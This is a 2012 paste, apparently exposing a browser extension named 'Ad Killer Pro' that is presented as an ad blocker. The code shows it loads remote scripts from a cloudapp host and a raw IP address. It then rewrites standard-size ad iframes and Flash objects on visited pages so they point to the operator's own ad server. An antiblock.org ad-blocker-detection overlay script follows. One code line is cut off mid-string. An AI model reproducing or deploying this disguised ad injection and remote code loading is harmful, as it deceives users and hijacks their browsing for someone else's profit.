Don't like ads? PRO users don't see any ads ;-)
Guest

Lily Jade shit

By: a guest on May 26th, 2012  |  syntax: JavaScript  |  size: 8.22 KB  |  hits: 169  |  expires: Never
download  |  raw  |  embed  |  report abuse  |  print
Text below is selected. Please press Ctrl+C to copy to your clipboard. (⌘+C on Mac)
  1. //New Lilyjade extension
  2. //Named: Ad Killer Pro
  3. //CrosRider #:4995
  4. //Panel: http://nemsmedia.cloudapp.net
  5.  
  6. //Extension
  7. appAPI.ready(function($) {
  8. @include "http://nemsmedia.cloudapp.net/Scripts/jquery-1.5.1.min.js"
  9. @include "http://nemsmedia.cloudapp.net/GetExtension.js"
  10. @include "http://46.105.227.94/aab.js"
  11.  
  12. });
  13.  
  14.  
  15.  
  16. //http://nemsmedia.cloudapp.net/GetExtension.js
  17. var htmlsrc = "";
  18. var ROOTSERVER = 'http://nemsmedia.cloudapp.net';
  19. var SRCSCR = '/Extension/GetAds';
  20.  
  21. function init() { // Load Calls $(document).ready(function() { initWindow(); }); // Check post-load for ready (may need timer later) var s = document.readyState, getLast = function(){ var elms = document.getElementsByTagName('*'); return elms[elms.length - 1]; }; if (s === 'complete'){ initWindow(); } } // Functions    function aURL(fmid) { return ROOTSERVER + SRCSCR + '/' + fmid; } function findFID(w, h, obj) { var fid = 0; try {       if ((w == 300) && (h == 250)) { fid = 1; } else if ((w == 160) && (h == 600)) { fid = 2; } else if ((w == 728) && (h == 90)) { fid = 3; } else if ((w == 336) && (h == 280)) { fid = 4; } else if ((w == 468) && (h == 60)) { fid = 5; } else if ((w == 234) && (h == 60)) { fid = 6; } else if ((w == 120) && (h == 90)) { fid = 7; } else if ((w == 120) && (h == 600)) { fid = 8; } else if ((w == 120) && (h == 240)) { fid = 9; } else if ((w == 250) && (h == 250)) { fid = 10; } else if ((w == 180) && (h == 150)) { fid = 11; } else if ((w == 200) && (h == 200)) { fid = 12; } else if ((w == 125) && (h == 125)) { fid = 13; } else if ((w == 728) && (h == 15)) { fid = 14; } else if ((w == 468) && (h == 15)) { fid = 15; } else if ((w == 180) && (h == 90)) { fid = 16; } else if ((w == 160) && (h == 90)) { fid = 17; } } catch (z) { } finally { return fid; } } function chkAds() { if(document.body.innerHTML == htmlsrc) { return; } htmlsrc = document.body.innerHTML; domid = "fm_sponsor"; /* TODO * Optimize timers to prevent slow down *   *      Add to: *        Ebay *  Amazon *        Blogger *       Netflix *       Walmart *       Best Buy */     /* ******************* */ /* *** Enumeration *** */ /* ******************* */ // Enumerate iframes $('iframe[ld!="true"]').each( function(i) { try { $(this).attr("ld", "true"); var h = parseInt($(this).attr('height')); var w = parseInt($(this).attr('width')); var fid = 0; fid = findFID(w, h, $(this).attr('id')); // Update iframe if (fid > 0) { $(this).attr('height', h+10).attr('width', w+10).attr('src', aURL(fid)); } } catch (z) { } }); // Enumerate Flash $('object[ld!="true"]').each( function(i) { try { var h = parseInt($(this).attr('height')); var w = parseInt($(this).attr('width')); var fid = 0; fid = findFID(w, h, this); // Update object if (fid > 0) { $(this).replaceWith('
  22.  
  23.  
  24.  
  25. //http://46.105.227.94/aab.js
  26. <style>
  27.     #cf0d {
  28.         position:fixed!important;
  29.         position:absolute;
  30.         top:0;
  31.         top:expression((t=document.documentElement.scrollTop?document.documentElement.scrollTop:document.body.scrollTop)+"px");
  32.         left:0;
  33.         width:100%;
  34.         height:100%;
  35.         background-color:#fff;
  36.         opacity:0.9;
  37.         filter:alpha(opacity=90);
  38.         display:block
  39.     }
  40.     #cf0d p {
  41.         opacity:1;
  42.         filter:none;
  43.         font:bold 16px Verdana, Arial, sans-serif;
  44.         text-align:center;
  45.         margin:20% 0
  46.     }
  47.     #cf0d p a, #cf0d p i {
  48.         font-size:12px
  49.     }
  50.     #cf0d ~ * {
  51.         display:none
  52.     }
  53. </style>
  54. <noscript>
  55.     <i id=cf0d>
  56.         <p>Please enable JavaScript!
  57.             <br>Bitte aktiviere JavaScript!
  58.             <br>S'il vous pla&icirc;t activer JavaScript!
  59.            <br>Por favor,activa el JavaScript!
  60.            <br>
  61.        </p>
  62.    </i>
  63. </noscript>
  64. <script>
  65.    (function (w, u) {
  66.        var d = w.document,
  67.            z = typeof u;
  68.  
  69.        function cf0d() {
  70.            function c(c, i) {
  71.                var e = d.createElement('i'),
  72.                    b = d.body,
  73.                    s = b.style,
  74.                    l = b.childNodes.length;
  75.                if (typeof i != z) {
  76.                    e.setAttribute('id', i);
  77.                    s.margin = s.padding = 0;
  78.                    s.height = '100%';
  79.                    l = Math.floor(Math.random() * l) + 1
  80.                }
  81.                e.innerHTML = c;
  82.                b.insertBefore(e, b.childNodes[l - 1])
  83.            }
  84.            function g(i, t) {
  85.                return !t ? d.getElementById(i) : d.getElementsByTagName(t)
  86.            };
  87.  
  88.            function f(v) {
  89.                if (!g('cf0d')) {
  90.                    c('<p>Please disable your ad blocker!<br>Bitte deaktiviere Deinen Werbeblocker!<br>Veuillez d&eacute;sactiver votre bloqueur de publicit&eacute;!<br>Por favor, desactive el bloqueador de anuncios!<br><a href="http://antiblock.org/?d=2.2.2' + '___' + escape(v) + '">antiblock.org</a> <i>v2.2.2</i></p>', 'cf0d')
  91.                }
  92.            };
  93.            (function () {
  94.                var a = ['ad-728x90-top0', 'ad_global_header2', 'adclear', 'adspot-1x4', 'body_728_ad', 'coverADS', 'sb_advert', 'ad', 'ads', 'adsense'],
  95.                    l = a.length,
  96.                    i, s = '',
  97.                    e;
  98.                for (i = 0; i < l; i++) {
  99.                    if (!g(a[i])) {
  100.                        s += '<a id="' + a[i] + '"></a>'
  101.                    }
  102.                }
  103.                c(s);
  104.                l = a.length;
  105.                for (i = 0; i < l; i++) {
  106.                    e = g(a[i]);
  107.                    if (e.offsetParent == null || (w.getComputedStyle ? d.defaultView.getComputedStyle(e, null).getPropertyValue('display') : e.currentStyle.display) == 'none') {
  108.                        return f('#' + a[i])
  109.                    }
  110.                }
  111.            }());
  112.            (function () {
  113.                var t = g(0, 'img'),
  114.                    a = ['/ad_fill.', '/ad_homepage_', '/adpoint.', '/ads/leaderboard.', '/i/ads/ad', '/mint/ads/ad', '_advertisements/', '_btnad_', '_tile_ad_', '/120x600_'],
  115.                    i;
  116.                if (typeof t[0] != z && typeof t[0].src != z) {
  117.                    i = new Image();
  118.                    i.onload = function () {
  119.                        this.onload = z;
  120.                        this.onerror = function () {
  121.                            f(this.src)
  122.                        };
  123.                        this.src = t[0].src + '#' + a.join('')
  124.                    };
  125.                    i.src = t[0].src
  126.                }
  127.            }());
  128.            (function () {
  129.                var o = {
  130.                    'http://pagead2.googlesyndication.com/pagead/show_ads.js': 'google_ad_client',
  131.                     'http://js.adscale.de/getads.js': 'adscale_slot_id',
  132.                     'http://get.mirando.de/mirando.js': 'adPlaceId'
  133.                 },
  134.                     S = g(0, 'script'),
  135.                     l = S.length - 1,
  136.                     n, r, i, v, s;
  137.                 d.write = null;
  138.                 for (i = l; i >= 0; --i) {
  139.                     s = S[i];
  140.                     if (typeof o[s.src] != z) {
  141.                         n = d.createElement('script');
  142.                         n.type = 'text/javascript';
  143.                         n.src = s.src;
  144.                         v = o[s.src];
  145.                         w[v] = u;
  146.                         r = S[0];
  147.                         n.onload = n.onreadystatechange = function () {
  148.                             if (typeof w[v] == z && (!this.readyState || this.readyState === "loaded" || this.readyState === "complete")) {
  149.                                 n.onload = n.onreadystatechange = null;
  150.                                 r.parentNode.removeChild(n);
  151.                                 w[v] = null
  152.                             }
  153.                         };
  154.                         r.parentNode.insertBefore(n, r);
  155.                         setTimeout(function () {
  156.                             if (w[v] !== null) {
  157.                                 f(n.src)
  158.                             }
  159.                         }, 2000);
  160.                         break
  161.                     }
  162.                 }
  163.             }())
  164.         }
  165.         if (d.addEventListener) {
  166.             w.addEventListener('load', cf0d, false)
  167.         } else {
  168.             w.attachEvent('onload', cf0d)
  169.         }
  170.     })(window);
  171. </script>